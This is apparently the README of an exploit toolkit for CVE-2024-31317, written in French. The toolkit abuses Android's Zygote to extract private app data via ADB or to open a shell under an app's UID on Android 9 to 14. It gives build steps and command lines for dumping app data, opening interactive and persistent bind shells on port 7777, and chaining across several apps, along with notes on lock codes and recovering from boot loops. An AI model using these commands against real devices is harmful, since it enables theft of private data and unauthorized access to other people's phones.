Zygote Toolkit - CVE-2024-31317

Ce kit utilise CVE-2024-31317 pour extraire les données privées des applications via ADB ou lancer un shell avec l'UID d'une application. Cette vulnérabilité affecte les versions Android 9 à 14 avec un niveau de correctif de sécurité au 2024-06-01 ou antérieur. Une matrice de support des appareils testés se trouve ci-dessous.

Prérequis

Debian/Ubuntu (paquets système)

sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

Ajoutez les lignes export à ~/.bashrc (ou équivalent) pour une persistance.

Vérification

./setup.sh

Démarrage rapide

# Construction et installation de l'APK carrier (auto-construction depuis les sources)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Extraction du répertoire de données d'une application
python3 cve_2024_31317.py -d NUMERO_APPAREIL -E -o app_data.tar -y com.example.app

L'exploit construit tout à partir de Hijack.java et AndroidManifest.xml au premier lancement.

Utilisation

python3 cve_2024_31317.py [flags] [package]

Modes

Options

Exemples

# Extraction
python3 cve_2024_31317.py -d APPAREIL -E -o youtube.tar -y com.google.android.youtube

# Vérifier si l'appareil est vulnérable
python3 cve_2024_31317.py -d APPAREIL --check-vuln

# Shell interactif bind
python3 cve_2024_31317.py -d APPAREIL -i -y com.google.android.youtube

# Shell persistant sur le port 7777
python3 cve_2024_31317.py -d APPAREIL -S 7777 -y com.google.android.youtube

# Chaîne multi-applications
python3 cve_2024_31317.py -d APPAREIL -E -y --chain-targets "app1,app2,app3"

# Récupération uniquement (corriger boucle de démarrage)
python3 cve_2024_31317.py -d APPAREIL --recover

Construction à partir des sources

Tout se construit à partir des sources à l'exécution. La chaîne de construction utilise javac (JDK 17+), d8, aapt, zipalign et apksigner du SDK Android.

• x86_64 → arm64 : les outils s'exécutent nativement ; la sortie DEX est indépendante de l'architecture
• ARM64 → arm64 : tout s'exécute nativement (Adoptium fournit des builds JDK pour ARM64)

Code de verrouillage

Si l'appareil a un code de verrouillage, il démarre en BFU (Before First Unlock). L'exploit interroge sys.user.0.ce_available pendant jusqu'à 5 minutes jusqu'à ce que vous déverrouilliez. Il est recommandé de supprimer le code de verrouillage pendant la durée de l'exploit.

Appareils testés

† Spécifique à Samsung One UI : l'injection de ZNJECT réussit et l'extraction -E fonctionne, mais le shell bind toybox nc ServerSocket ne s'ouvre jamais. Nécessite des recherches supplémentaires pour trouver la cause racine du problème.

Récupération

La charge utile reste dans hidden_api_blacklist_exemptions peut provoquer une boucle de démarrage au prochain redémarrage. Exécutez --recover pour réinitialiser :

python3 cve_2024_31317.py -d APPAREIL --recover